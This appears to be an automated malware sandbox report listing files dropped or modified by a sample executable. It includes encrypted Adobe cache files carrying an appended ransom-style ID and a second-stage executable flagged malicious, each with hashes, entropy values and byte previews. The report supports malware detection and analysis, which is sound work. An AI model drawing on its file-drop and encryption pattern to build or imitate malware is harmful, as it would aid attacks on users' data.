SHA-256:	81234C3842F0CD1D6D3DAB6B45D772288DEA49A824B7132A765499807D9E578A
SHA-512:	CC7A600F7518E2B2A60C747EFE0B8733E5D8C61DFC6D789B83C1C0008A8EE0EF3FD8479004B3954938AF53FA920454C07B3DABA90712AFE72C3E6A7758F5CEC9
Malicious:	false
Preview:	S.z1...}....5..-38....f3..........nB`..m.....).T.....q.6..]...N..9B.^.`.XX...yN/f..Pb...cNm.q.... .qN!.o..`.dL...6... k..j..g..........>.cx.8y..l..S.m..Y/{..g%.dH.F...p..Yo......W..G....n.......V-..a0......?._....4.+...../.y.,..yo.......\|.q.N.(p.)...^..S&.n......1..`.nb.5........,...OX.dVY.0.@4....4J...8`......vt_.....T.>3...B...0. .\|.=3=Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.4461214694620255
Encrypted:	false
SSDEEP:	6:xJqeJ8jKVc9TKlFVbsapUIbQrHS71kWhUJb/7aVL7rnlCHKElaFBaJuBscii96Z:bqK8jKVcRIbx2aVLvlCqMaeuOcii9a
MD5:	7C3A60CD156A98823DA51B7A880A5FCF
SHA1:	4B6894796223F1536ADECA14650A57DD4F344BDA
SHA-256:	81234C3842F0CD1D6D3DAB6B45D772288DEA49A824B7132A765499807D9E578A
SHA-512:	CC7A600F7518E2B2A60C747EFE0B8733E5D8C61DFC6D789B83C1C0008A8EE0EF3FD8479004B3954938AF53FA920454C07B3DABA90712AFE72C3E6A7758F5CEC9
Malicious:	false
Preview:	S.z1...}....5..-38....f3..........nB`..m.....).T.....q.6..]...N..9B.^.`.XX...yN/f..Pb...cNm.q.... .qN!.o..`.dL...6... k..j..g..........>.cx.8y..l..S.m..Y/{..g%.dH.F...p..Yo......W..G....n.......V-..a0......?._....4.+...../.y.,..yo.......\|.q.N.(p.)...^..S&.n......1..`.nb.5........,...OX.dVY.0.@4....4J...8`......vt_.....T.>3...B...0. .\|.=3=Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.65925553686128
Encrypted:	false
SSDEEP:	12:kIhBEfvgO0pckGfhE36tJmsNXnRuWHzBVIuOcii9a:3Cd00ftJ1N3kWHdzObD
MD5:	B53CBCE874C5E80073BE7A4BD14A47C1
SHA1:	1808D63F9729CE34C878A78C0E1B5C7526152380
SHA-256:	24A6584FC4DE98A3A00F856A4509EECEC051EE046F8A0737B1F1D830CA939FD7
SHA-512:	24A970BE2BA6E6A7DEA349600EC908826038B0D31FBDF1AC329F88C20281E1A7A369DE977D97C9CFA8054F64A3399E7EDD725B5647DFD257A8866F34ED38A5E7
Malicious:	false
Preview:	2023/.n..Vd..#8.~'.3.....C...Rd..8..h..(..[....[.....+3%c.n.[.1barS.....k...[`.,:..b.Y.L,.EI....O..1.{"z..:6.Y.y9l..xL.... Ufs:5..db.C....L...v2...T.h..R.....eG6 ..t#Y+.r+..`t ..\.t..J\.=-....ZqGp.!.>C.....D......6U8B.S.k@..<............$<.9.....p$....{.Y.e......+.....BUv..6=o..~..y:.!Y..(...vQ-..aR..'.O.5.^Xl_=._E/.R...~.A..B..o...Vaf.4.....l.J.._.^....d.O.%g...W.X'......u...FM[.z.;.<.7f..@{V&Lf.QuT..0...........'.......\|..#..T"{.....y}.G.Y.zv@.R...~...5...L.u....4..`g.>.feG.....%..~X..8..?..w......j.. [..B ..~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.65925553686128
Encrypted:	false
SSDEEP:	12:kIhBEfvgO0pckGfhE36tJmsNXnRuWHzBVIuOcii9a:3Cd00ftJ1N3kWHdzObD
MD5:	B53CBCE874C5E80073BE7A4BD14A47C1
SHA1:	1808D63F9729CE34C878A78C0E1B5C7526152380
SHA-256:	24A6584FC4DE98A3A00F856A4509EECEC051EE046F8A0737B1F1D830CA939FD7
SHA-512:	24A970BE2BA6E6A7DEA349600EC908826038B0D31FBDF1AC329F88C20281E1A7A369DE977D97C9CFA8054F64A3399E7EDD725B5647DFD257A8866F34ED38A5E7
Malicious:	false
Preview:	2023/.n..Vd..#8.~'.3.....C...Rd..8..h..(..[....[.....+3%c.n.[.1barS.....k...[`.,:..b.Y.L,.EI....O..1.{"z..:6.Y.y9l..xL.... Ufs:5..db.C....L...v2...T.h..R.....eG6 ..t#Y+.r+..`t ..\.t..J\.=-....ZqGp.!.>C.....D......6U8B.S.k@..<............$<.9.....p$....{.Y.e......+.....BUv..6=o..~..y:.!Y..(...vQ-..aR..'.O.5.^Xl_=._E/.R...~.A..B..o...Vaf.4.....l.J.._.^....d.O.%g...W.X'......u...FM[.z.;.<.7f..@{V&Lf.QuT..0...........'.......\|..#..T"{.....y}.G.Y.zv@.R...~...5...L.u....4..`g.>.feG.....%..~X..8..?..w......j.. [..B ..~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.509066417026184
Encrypted:	false
SSDEEP:	12:GhkIdgRcm7OYwd12vF9KEZWYaSBStpLuOcii9a:G/dguSOYTv3KQ3B+AObD
MD5:	ADAA5FD9F77DDFC9E5DCC8EE4FDB028E
SHA1:	982C205A430F587978EBB4B0A85B94862F0E7519
SHA-256:	9B9580FF54A41AE2BC54FD9D673A5D6EA8C6CB32267F494F50285AC4E1A17BDB
SHA-512:	48276BC6624529D9D03A03EBC837651E2ED54E9A6D6F1123DB584CD512BD8939C8720F995917EA86206618D3E8A30757152251343A427B16376A3AEDB5444701
Malicious:	false
Preview:	.h.6..M... ..Q.-5L&.,... k.../a..`n(....N....M..{..#.o.Y...Ub..OK.....R...'.Z.=2@......7.....V\...8.j..e).-.X.#.j\|\......W..V..9j&!r6$8q.........?..EsZ0+..4.S ..^.......G.#./o.$V..k.A....v..e..24.7i.6#....&\.H1E.A..2...G...=..?I.&,ca....N../....I..<.ck....t.Yn.....3../.d?o\|.x..fX{.....f E....E_\|D.....N.K...z..M..Q...x.......~w>.i...oB...4......... X.....v..Q..H.....{...Z6...p..E.b7.Z.j.1.Q.8P...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.509066417026184
Encrypted:	false
SSDEEP:	12:GhkIdgRcm7OYwd12vF9KEZWYaSBStpLuOcii9a:G/dguSOYTv3KQ3B+AObD
MD5:	ADAA5FD9F77DDFC9E5DCC8EE4FDB028E
SHA1:	982C205A430F587978EBB4B0A85B94862F0E7519
SHA-256:	9B9580FF54A41AE2BC54FD9D673A5D6EA8C6CB32267F494F50285AC4E1A17BDB
SHA-512:	48276BC6624529D9D03A03EBC837651E2ED54E9A6D6F1123DB584CD512BD8939C8720F995917EA86206618D3E8A30757152251343A427B16376A3AEDB5444701
Malicious:	false
Preview:	.h.6..M... ..Q.-5L&.,... k.../a..`n(....N....M..{..#.o.Y...Ub..OK.....R...'.Z.=2@......7.....V\...8.j..e).-.X.#.j\|\......W..V..9j&!r6$8q.........?..EsZ0+..4.S ..^.......G.#./o.$V..k.A....v..e..24.7i.6#....&\.H1E.A..2...G...=..?I.&,ca....N../....I..<.ck....t.Yn.....3../.d?o\|.x..fX{.....f E....E_\|D.....N.K...z..M..Q...x.......~w>.i...oB...4......... X.....v..Q..H.....{...Z6...p..E.b7.Z.j.1.Q.8P...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.622206210622084
Encrypted:	false
SSDEEP:	12:kWCN9yScYbTvQ4HKOo0oFqaPt6RpN9Qq0IDqp3vAZtFrj8sQHRnsuOcii9a:OEQTbqOrMq9RpNm5IKop4NHR5ObD
MD5:	C4EBC5C229DE79AF60C49467D30DCD92
SHA1:	185563A151C2B5FC359579B7463425F7A5B28450
SHA-256:	284B4DB20D249DF802E0A7F21357C39B930C537DD7918D20F7796CC02C452EF7
SHA-512:	7F9ADF0C7CA89F07B500AA5D110BABFB9877B640231A61DC5A6E8C0C38396C267C9A3170F9D71BF4E004F0FB075C0B6515796AF49F8720A54C6EF00EB492D82A
Malicious:	false
Preview:	2023/.`Z..h.:.o..z&.y......I...c$...X.).L........XN...;]e.7..w..Z:@......k7......-l..."k......1.0........".c.3....t.Q8....#...".m..>...19....Hm...)"M..d..WPf=..&.7.3.\lD.d{...NcC...8.r...J..a/.........?^......[.^..=...[..".+J..mC..oe..n.G.-...r@@.z.......U...E......c...+.@.<..B..m#......).^..P.%Z..aL..%s..3.".?=.,..U~....~6..}\|....H6.._dp.c,E...~...aR9.....?.]...D-...r...I.\|d?.Ng.#...-:=..7{T.%..T.dN$.g@c....^...?i.s\%..<...J......F7....~P4."%.....3....Iy....A...+-.u.\l.....T+z8G..Oa(d8M..bd\.A.[..l ..........I.....S..c+Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.622206210622084
Encrypted:	false
SSDEEP:	12:kWCN9yScYbTvQ4HKOo0oFqaPt6RpN9Qq0IDqp3vAZtFrj8sQHRnsuOcii9a:OEQTbqOrMq9RpNm5IKop4NHR5ObD
MD5:	C4EBC5C229DE79AF60C49467D30DCD92
SHA1:	185563A151C2B5FC359579B7463425F7A5B28450
SHA-256:	284B4DB20D249DF802E0A7F21357C39B930C537DD7918D20F7796CC02C452EF7
SHA-512:	7F9ADF0C7CA89F07B500AA5D110BABFB9877B640231A61DC5A6E8C0C38396C267C9A3170F9D71BF4E004F0FB075C0B6515796AF49F8720A54C6EF00EB492D82A
Malicious:	false
Preview:	2023/.`Z..h.:.o..z&.y......I...c$...X.).L........XN...;]e.7..w..Z:@......k7......-l..."k......1.0........".c.3....t.Q8....#...".m..>...19....Hm...)"M..d..WPf=..&.7.3.\lD.d{...NcC...8.r...J..a/.........?^......[.^..=...[..".+J..mC..oe..n.G.-...r@@.z.......U...E......c...+.@.<..B..m#......).^..P.%Z..aL..%s..3.".?=.,..U~....~6..}\|....H6.._dp.c,E...~...aR9.....?.]...D-...r...I.\|d?.Ng.#...-:=..7{T.%..T.dN$.g@c....^...?i.s\%..<...J......F7....~P4."%.....3....Iy....A...+-.u.\l.....T+z8G..Oa(d8M..bd\.A.[..l ..........I.....S..c+Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	296448
Entropy (8bit):	6.701097338503782
Encrypted:	false
SSDEEP:	3072:QOKV/JhkCZrraOTzo+fGN2ZDFlYJ0YeA4Mcjv3SSyrqwLIY7Ni1KfqbdonRMIIyZ:uXtPJoqYYZCBVIYA6iQeIL8E
MD5:	A04031208441077A014F42095FF86107
SHA1:	DE1506EB54B9947B4DE069C87BB1103BF17A08ED
SHA-256:	9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
SHA-512:	851741FD1856058C4C759392CAE2D4694E05A9E7098B8E50FCCC601BD588FF0C92DCDB577D7937E7D4C73879394803B13D2F1EACD72488B0D3C3C226929B81C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: 3CB27VUHRg.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................o.....P......Q.....#...........?)U.....k....?)n....Rich....................PE..L...G..c.....................0`.....m@............@..........................0a..............................................j..d....@`.f...............................8...........................@`..@............................................text............................... ..`.rdata..Pt.......v..................@..@.data....^......6...`..............@....rsrc...f....@`.....................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.613545695078494
Encrypted:	false
SSDEEP:	12:kap7/96LZR7Qh6Z/1/ODotOsZ6IG/dDVLsW7xf/3z4nTX+T0ejybmuOcii9a:zTE1Zp7tNZ6bVJLsWl/j4TX+T0ejybjI
MD5:	F0346ACD632F132F6C1E256A521C0349
SHA1:	83E277558FECFA085CE4581F7FEF99333A0D1694
SHA-256:	A0FE4E327F1C9769502BBEAC4EE12A6120C18471401B4E1A894273F78F1A195F
SHA-512:	514AD2D5D66572C1B26449200B847A354322921F2FCA0C282363DE48E0A42BDB94C940D968F69D4830FAEBB045B3F4A85FAF8953429D1F6312E2EBEDD6A1B8DB
Malicious:	false
Preview:	2023/}.[..y*2..H...o..\.e..@..\.-.l....6..I..A:R...ap......K.^.e..185.......,.....s./......_. $`z...8Qi.&......8.)].W8..A.p.z.E...$...!."G.$E._.u.2.y>...n'p...`PS.... ...{qR..4...-...._..m.(...[.....U.4$.....t\|r...w.c.\|.#.j.Vm.........-....bLk......\|.l3.#.].}.+..i..tp8BH.j.&...GK$..Z..s.Z../.Qm.;8O&..u}e.C....d<L.W.tr... ...U./.& >;.1..C...P5X.k.+..E....v....F.F\|C.....qk.O..c.9..H..AP.....K..?:..E.Ve'=.6.>~....f9.7f.....!..P.-.[....G.....v..P...k.d.2.........z. ....h.....O6p.WT..i...1i..u..A..<d...k.Pi..+Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.7521184332289925
Encrypted:	false
SSDEEP:	24:YKW+TDilvo8pzK4nHbFuA066sM8nP3hpgObD:Ys6Ro8pzK4nxd066onPXTD
MD5:	0FE6BC3D8B77AE3C64CDB8D51CD5094B
SHA1:	53000E0FCE6E0721AE189CF6E22C56BF6DC0F46D
SHA-256:	AD2283103F9E65AD11E2EF2D03A2103450A80447B7E0EFE2D5BD99C53089CD50
SHA-512:	274AABD9F40877BC6FBBE7821104D678AB163443457B097D2549036AFD63F60D8CE6626F85AA1B1F78B3533FA09B9D3F90A28D6DA5D4822F09CADA6CC0AF2C3B
Malicious:	false
Preview:	{"os_..F.v.)Se..D.XD..Jz=.. ...Qa..%....q.n$1_B.\T.M....$.2.)...}.h....E.p..7..Z8.ls!....&z3...k..p.]....;..el0..0....?4w.?....^..Y....s.s.Q..]...x..$NW...4..5p.m=../}.:.L......J..p..j....N^G{..2K.'.;..B....F...+.4Ra..u.%....G..l....B.R.&...v.L.N.c.vK..u..r.P.....1\|.#I.w.....$.d.}I..@^e.z.'.rr:......n`.W..y.,E2.V...Q[......}..8..Y...&...b..$....J.J...KCk..9...I..k..D......(.3........wAtT.e7..h.........!.4..y.^.&\..../.}...(..l.,A.....u.]sq......8l#.?....cI!.<QJ.. .....t.... T....U...E%..i.t.....X....]._.J......Tp>..V.cZk;....].x.C.eg.$.U......m...O.'X...... ..h...=S..i......(]mh. W&.(.....\|......S.}9.Z@..8_,..\....m/V.rz.wl........'h`r..@....m...b....-6.H........M..W...\#DZ.l0/..[m.9v...x.p...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.661537637684237
Encrypted:	false
SSDEEP:	12:SoK1uymyAtDW9GTsdK8useNksKK9UHPY7fOAikUpvA9quBMA2ZBfIuOcii9a:quymyAw+ss8usaksKjHQ7WncaBFObD
MD5:	828BE25596BC01BE06967CDE785AD040
SHA1:	C8219D6B974F0DCD02DF64EE34BACC82B1C921AF
SHA-256:	A8B931C7F66FFAD58C70F8F8D19D3B30B396D307A9255BD37956B9EFD395BD88
SHA-512:	0F43F170AA3BBBAFEB3C754F24F17DA54619F94DE0A58521D29F889685FA9F4B9BA4824559A5D442FCE657D0D56E15E82BB93B3B8E2690EA1982DC495EFA0380
Malicious:	false
Preview:	...#S...v.....b....i..C..a.W\|.~...+.o...>....d......b..W!.C.C.3.......:C.m..m.w~...j....ja...x.6..E.{s.........T...J..+.{.!Cod.D..7.(..9k...{.zj.C..N..#e...cr.`....H...n'.GhV...py..../..P.....H-?.Eh-.w.Q..F...\|U3....]..\|.3.....`....A...zxtv1.]a5.!R..K.6.E...?.m?......r..I:..DT#.........p..#...i..h..(.Ur.).qs"^..@.U..B....'.SY.R..'.D..\g.F..R.....j.6.:.#p.3.=G]z.{Q....v....z5Q........j"...ME..<6..IFj8.QS..@...O...]`.:U....zC..@1Y.....e.#..k...!)....}b.#4.5n..Qtp..H.d....)c$Z4.L.......E.[.e.....x.....ws._-h.:.!.kH,..:V.mI.K~...W[S..@.Z..+......7e_.Q...\|...m.^.p%...F..8.H@U.._.z......$]...m...X#.v..sc..t.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.642622065765193
Encrypted:	false
SSDEEP:	12:kQYcsyKNYyHut+lOkg4WFaNVZCyf46wWmQf795xcQD9VjuOcii9a:lYiKNYzt+lOnNFYvCgwM79b/SObD
MD5:	72123734B419F61753658055781D20AA
SHA1:	650A3A5501F45BD80FDA25F185E0682F1C86D28C
SHA-256:	0596E1CD788275C7BFDDD983633927858E95933BD1BE695BB2D001EDB524541F
SHA-512:	27C1E3CCC67D7097A34442FD4F471936BA6BF8FA9E8FD61931A58E1C6338723FF67704425FB446A8FCC0A5557887587B95924F7D58CE4A28DD0EED0FE0D74C82
Malicious:	false
Preview:	2023/R...n..SG.F.@).&...I.-.K:.b...).`dI...aO.g!.....@,..X.Myo.I...\./3?E.8=.R..~8q.4Y.i<tJ..-z.g^`..Z)........agJ)..;o..#...b...#.FL.d.(.m2.:.{....e8._;7.gU....).;q$.e.........;...b\.D$B.=..D:..:I....J[}z..k.I...K...n,..KC.>T.d........Z^...//...5..Y#....m.+.L.1...2# ..g(...f.2w....F.........;9;...=UA..IF.........}.u.U9. .....H..W..X..^.n.u........<.H..........O2.{.f.....K.........0...:~..s..Y...r..$L[...Q./G\|(8U..b)@..T...+....grC"....`.......W.r..^e...E#.lQ.....:c-.\..4..$..luig..U...D.H..2.qd.7#......$.fh.J}....&mR.O.q.1.....u\.P.u.3'..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.878275502592731
Encrypted:	false
SSDEEP:	48:VGmMEZ9qw5yjgvpLfU4mHZcYxc9KOaJGTLOD:YmMShRfLmHSK2KOTv2
MD5:	9799D562E7195200FB314D518DFB5D68
SHA1:	0D1FE70DF24D0AE1B1A641EF95B5F06BD38A1CA5
SHA-256:	791A5284C437031D4662C55966B8FBD8BF808C6760C264EB0F60460C31EFB407
SHA-512:	123BEA2F1259E5983735FB1E2E2B76AED67EAD1AB1A5352E4699E3B4BBD8908FF791FA5E448E8D62DF4B1CF4127480120BFE6033660606E29D46C7CEC1DEF4A4
Malicious:	false
Preview:	%!Ado.....o...d....^n.b..`.....L.Q#.q.c.^..'.~.A..<M.U.ej..>_.n]w......')eB.~s...b<..D.E..".e..O.\.A...5..\........[.as.c@...Q+:.Lqb.:.6..x.YwY...pUBY}.,I).3.U E.....l.N;..O.....;.qKGp6Zj#_..dnC.....=.-v..".c.D.....F.f......0q E.......(.@A..D(B.......+......93...0.....D..nZ.....c.~...Xh@.l....R....W.....$........x.M..-h^.....`y.i.6.........ggD.f..[.".}}....R.#..O-......VL....:.<.W........\..{..3..gb7..x..^u.....E.&.)..Y....a...o/.UO..L..U.y......W....J..Cg..0..6...`.....:..........Li....p......U..p..ZD.i%.W.V.%.9..;.@...I.....l..V.H.....Gp.X..#z.FO.j.N..].[...zWke.MWi..W^......].^.p.!...F...OR.z$..t......pi3..t.pTb..2..+.cN..7...)N..BV..Y....a..He+.$.....).f.......i.........bS.X......N$..}..4._iJ(m$$WZ..~.D...o)j.f.\| b..e..G\|...V..e8...V.m..(!.z,%.T.;\.1.....Ms....u...ucmm...Mv&..j-0x.G..T.:.Y^a.P..=r.\|j..=.t...Q....o....\%1.?.O(.s.]+H...[.,......l7.........m!&.+..i.x...L..G..n.....x...m.@}.K.w....3..O`.}.".n...m.6...I..%!n......

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876819945269622
Encrypted:	false
SSDEEP:	3072:U+TaFDe+rWFGoybc7Wt4A0yZpa9ISoTK6eGWHJtQwPXE07ZmandGCyN2mM7IgOP+:UwaFDe4WgN2AdZwYK/THciXE07ZmandZ
MD5:	7084CC75E5FC38EA11E556D2C014E76D
SHA1:	EFF18887D799880716C4DAEAB3B1DC6A85609D82
SHA-256:	7C63BD8B68D0A133F7EFDE7A1EF126A1154050CB4AF3172280CFB72C76BF9928
SHA-512:	ECF056855C4FD29DB3994628E72EFCBFAC0106A0FAB4D270996DF62462BAD92AE6359658277F1F5EF655D662BFD979238637341606E2425DBCFFC18F659218E0
Malicious:	false
Preview:	%!Ado..t.......r.-...r.l:I .s+.!.pQ&.A.M'.V.>..b..I$..~!.....v..Y.T....;"......yR.z..nZ........\..N'....U.F...[.m.@.N..D]...8#......1..#.sG.p.pE.....X..............-..pZ...n..GH..YE....GD\3..1:..=.....kLh.zqHx`.G...`..!.!.b.....J.!'%b.{...ty..,1Vm.J.V..E..^.b..v.../..^...RY3......W.\|?..I....../cg.m.7.y%.krd.'!y."uX...J.f..$...).2.}..~...sTE....9.pN.KA........[R.y.]..52...&J^,..r.!...l..=j.rn8...R..!;..:.......0@N.x...2o..;.....D...5.Fg.Y....2X0.X+..r...Ew..<.s.~...R.6I..y.9.......^.....bz../n....k<.....Q....._.Q...E.#..xb...e^..T..CA..-...V{*.....7..i.j.~.S.V..Y>..D>O&6P}c&B2E)J=...Dsx....W.0.a!.....yJ...`..........G...i.o.$C..-2[UexV._.I.v...]...D7..s3.o../j.....j.\|....Z@7..>.e].#...`.t...1...{._...........V}.8.I.(r....z....K.ka......;......_....P}. .....=....2.@..UR.3..B.2...U.6%[^8x.N.x..=....09Bz..R..._MX.~(....T.!pQ..x...h.^..-......ui.....N...j..p.h.}..;......Z8..6....)...#....C.(8.n.5.M...p.Y...(_....)~.1.1#.?.d.w=0...h.f.rn.Z....o

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.821128789590476
Encrypted:	false
SSDEEP:	3072:9hohys+EJhXFxl5FW8DWB4hAWmOlWSzBlufIey+ta4yQ1U/ExSsNOolNlnn:9ehySJFl5hY94lvI3yj4yvYnn
MD5:	BFF3C737D608A161C924A1B4B92481B4
SHA1:	E468EEFC4D429DAA13D41474BD51841EEC064A08
SHA-256:	A37D571ECEA3E20CC574909E72560D1EC9E9C90DE07FD2DB68146BAD09817034
SHA-512:	BAF8397865CB7F467079C209E889597386EEC19FA6659A6D5A11D9BC17F3AEDBDE6EF745DCAC576D86FEC3E97D7A21D379A5CAC56F86F18A80E4F05636ED4336
Malicious:	false
Preview:	Adobe7..@&y.X.O4..J.....s4n.H.5.%...$...Q....8......{..vS..s&.k..u..7..^.,\|....#..6+.n<....R...S.#...@...I...U{...v#..?...+...Q.."$..d..T.q.I.\|.`...l......=......_ot.].hNM..&....%>_.....E.@.wg............d[..^..\.....%...q.3y..R.P..h.l....,....?w.u..%v/E.M<.....n:U..t...v..S.}.~.. ..h..&.ZD...2`.$H.)..D.\|.5.6..e... #._.#...E.y...^FL.6..r./.CK&\Q@:.4....DT..c!...~e...>:.4.\|.4.9....0...+..H.6Mq...a+..E..R.....V1.k..K#Ps..?kK.)&..6.....-...@.._..oi..7b.]...4.bw..-.W..3.....q>x..;Z.....%n....Fz.....\|.^.".lGK.W....u.zh.$t).OM).u._...".g.SB..G.c.G.Sb..hf.9kE........]......'Fk.&..%]....N..Y...I..2U...L.{..p.....p.l.<.muq......".o..3..!....0gj.....O>..d.F{.l.j%.j>o.....37P6W.1.<.........>.....-..........P..-.1.z^:e..0zx.Y.w..]ho.)..IX...t!......p..a..P..i...c....9O.9.mS.o.W...Q.1..f-u.AB.^!...M..."t.\..Eo7$...../.qwF.1....q..RYy{g)....u..z..-.+r.x.U5...H..p.G.Ros.~.H....%..D../.8.4.....PA...5..y+$........#...6...-..Hd....B[...2_...i.T....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.93759746824559
Encrypted:	false
SSDEEP:	48:YH4lCA6GrqlMf8YBrGGcI5v/Fbs+gOUKSIyDLr2iU+Yj/Uy/7Hl1cS9lD:WA6GT0YUOhFfbO+PnzHsS
MD5:	ADF0DE230F3947DAFC1A0CA2C5EC82CC
SHA1:	A70E535A4F5FDD324F3299D91EB8F32A6D2C2665
SHA-256:	A98081B677C4127ABE08B82C00FC8C3396AA1841BFE0953D445BF6CCEA993EEE
SHA-512:	784222A9A4BDF7A9929CD5E7FC47A6A80DFF9243BABB3A44BCE998B585E6CA01F470B9B69DC5818F37E9859ACF71C6E31E2701CCFE6362878B2DBB897F9BC3FD
Malicious:	false
